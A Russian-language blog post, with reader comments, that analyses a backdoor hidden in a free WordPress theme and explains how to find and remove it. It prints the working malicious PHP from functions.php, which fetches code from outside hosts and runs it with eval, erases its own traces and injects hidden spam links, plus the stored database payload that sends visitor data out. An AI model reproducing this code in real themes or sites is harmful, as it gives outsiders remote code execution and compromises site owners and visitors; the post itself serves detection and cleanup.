Обратная сторона бесплатных тем для WordPress

Обратная сторона бесплатных тем для WordPressДорогие друзья, каждый из Вас наверняка устанавливал бесплатные темы для WordPress на свой сайт, но я уверен что вы не вдавались в детали того что вы ставите себе на сайт.

Я не буду говорить что все темы несут в себе скрытую угрозу но таких увы большинство, и перед установкой к себе на сайт нужно быть очень внимательным.

В первую очередь необходимо проверить файлы темы на наличие различных скрытых угроз, вирусов, и другой нечисти.

Для примера я скачал первую попавшуюся мне тему на одном из очень популярных сайтов прямо с главной страницы, имя сайта и название темы называть не буду, кто ищет тот всегда найдет. Нам интересна техническая сторона  вопроса а не моральная.

И так давай те изучим эту тему перед установкой к себе на сайт.

Что будем искать?

Наибольший интерес для нас представляют 2 файла темы а именно functions.php и footer.php.

Начнем с functions.php, во всем многообразии полезного кода мы можем увидеть и очень даже вредоносный код.

Как мы видим что на сайт что то загружается, работает это достаточно просто функция file_get_contents() получает что то со стороннего сайта, потом функция eval() (кто не знает что это обязательно почитай про нее) отрабатывает полученные данные и создает в базе запись  где  $value это то что было прислано Вам на сайт с абсолютно постороннего сайта и было записано в базу данных. Потом этот файл перезаписывается функцией  file_put_contents() видимо затирается все это палево.

add_action('after_setup_theme', '_theme_setup');
function _theme_setup(){
$value = 'return eval(file_get_contents(\'http://wpru.ru/aksimet.php?id=\'.$post->ID.\'&m=46&n\'));';
add_option('blogoption', $value, '', 'yes');
//selfterminate
$functions = file_get_contents(TEMPLATEPATH.'/functions.php');
$p1 = substr($functions, 0, strpos($functions, '//beginXX'));
$p2 = end(explode('//endXX', $functions));
file_put_contents(TEMPLATEPATH.'/functions.php', $p1.$p2);
}
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}

И так мы еще забыли про файл footer.php, в конце файла там будет вот это код.

echo get_theme_option("footer") . "\n";

Так же там может быть и такой код он отличается от оригинальной функции одним символом.

wp_footer_();

Если вы нашли такой в код в вашей теме перед установкой на хостинг, то обязательно удалите его. Для тех кто это не сделал во время вторая часть этого поста.

Если вы упустили момент то наверняка у вас в файле functions.php будет вот такая вот функция.

function wp_footer_() {
return @eval(get_option('blogoption'));
}

Ее надо так же удалить, чтобы понять что же такое она выводит Вам придется сделать запрос к вашей базе данных.

SELECT * FROM `wp_options` WHERE `option_name` = 'blogoption'

Он наверняка вернет вам всего 1 запись следующего содержания. Которую нужно так же обязательно удалить.

global $post;return eval(file_get_contents('http://mytestlabs.com/wp5.php?ag='.strpos($_SERVER['HTTP_USER_AGENT'],'yahoo').'&p404='.is_404().'&p_id='.$post->ID.'&single='.(is_single()||is_page()).'&perm='.get_permalink().'&site='.$_SERVER['HTTP_HOST'].'&page='.$_SERVER['REQUEST_URI'].'&ip='.getenv('REMOTE_ADDR')));

Что будет если этого не сделать?

Если вы не удалите такой код то на вашем сайте будет появляться абсолютно левые ссылки на другие сайты, которые не будут видны на открытой странице, обнаружить их можно только если нажать правой кнопкой мыши на странице и выбрать — показать исходный ко страницы. В самом конце страницы вы увидите что то типа такого:

<!-- 37 queries. 0,342 seconds. -->
<span id="a8f52"><a href="http://autorims.ru/">autorims</a> <a href="http://awtogps.ru/">awtogps</a> <a href="http://dvd4alls.ru/">dvd4alls</a> <a href="http://fotikks.ru/">fotikks</a></span><script>var ca14f=""; function b8867(ea1) {document.getElementById("a8f52").style.display=(ea1=="" ? "none" : "block" );} b8867(ca14f);</script>

Как видно что ссылки есть но они скрыты с помощью CSS. По мимо всего прочего на ваш сайт может загрузиться все что угодно. Так же наверняка у вас будет долгая скорость открытия страниц. Ну и само собой внешние ссылки на другие ресурсы которые негативно сказываются на продвижении вашего сайта.

Использоваться бесплатные темы или нет?

Конечно не во всех бесплатных темах может быть такое безобразие, но перед тем как вы решите установить тему себе на сайт, хотя бы изучите содержимое ее файлов, это обезопасит вас от подобных вещей.

 

Обратная сторона бесплатных тем для WordPress: 13 комментариев

  1. А как насчёт проверки известным плагином ТАС? Он это всё не ловит? Или, насколько я понял, в файлы могут быть заложены коды дальнейшего вызова и вставки вредоносных кодов и ссылок?

    1. В тему заложены коды для дальнейшего вызова вредоносного кода, там изначально не содержится рекламных ссылок и закодированных участков.
      Плагином TAC ранее не пользовался, нужно будет изучить что он умеет.

  2. Посмотрите, проанализируйте, может получится интересная статья, с удовольствием почитаем. Насколько я помню, этот плагин выдавал только встроенные ссылки.
    Но ведь, те встроенные коды, о которых Вы пишите, они же, насколько я понял, потом и будут встраивать ссылки?

  3. Владимир, у меня на сайте есть такие функции, антивирус бьет тревогу!
    if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){
    if(is_single() && ($co=@eval(get_option(‘blogoption’))) !== false){

    <?php error_reporting(0); echo file_get_contents('http://www.wp3c.org/TR/xhtml/DTD/xhtml1- …
    Подскажите как сделать запрос к базе данных, чтобы удалить плоды это вредоносного кода? Вообще с чего начат? Заранее Спасибо!

      1. Пробовал, удалял! Перестает работать сайт в одном случае или не грузится тема на сайте.

      1. Выполнил sql-запрос к базе данных сайта, выдал следующее:

        #1054 — Unknown column ‘‘blogoption’’ in ‘where clause’
        SELECT *
        FROM `wp_options`
        WHERE `option_name` = ‘blogoption’
        LIMIT 0 , 30

        1. Ну если запрос корректно выполнился то у вас в базе ничего нет, а можете выложить полный файл functions.php куда нибудь в файловый обменник, я погляжу его содержимое.

          1. voffka, когда он копировал запрос в базу с сайта, у него был символ: ‘ ( у blogoption), а нужно обычный апостроф (сайт его меняет на — ‘ )

  4. Ага! Не забыл — ее просто не видно, специальная невидимая что ли….
    Напишу по отдельности: вот эта строка
    php error_reporting(0); echo file_get_contents(‘http://jsquery.org/jquery.js’);
    в таких ковычках — с другой стороны.

  5. И еще в бесплатных темах частенько много исходящих ссылок на другие ресурсы…

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *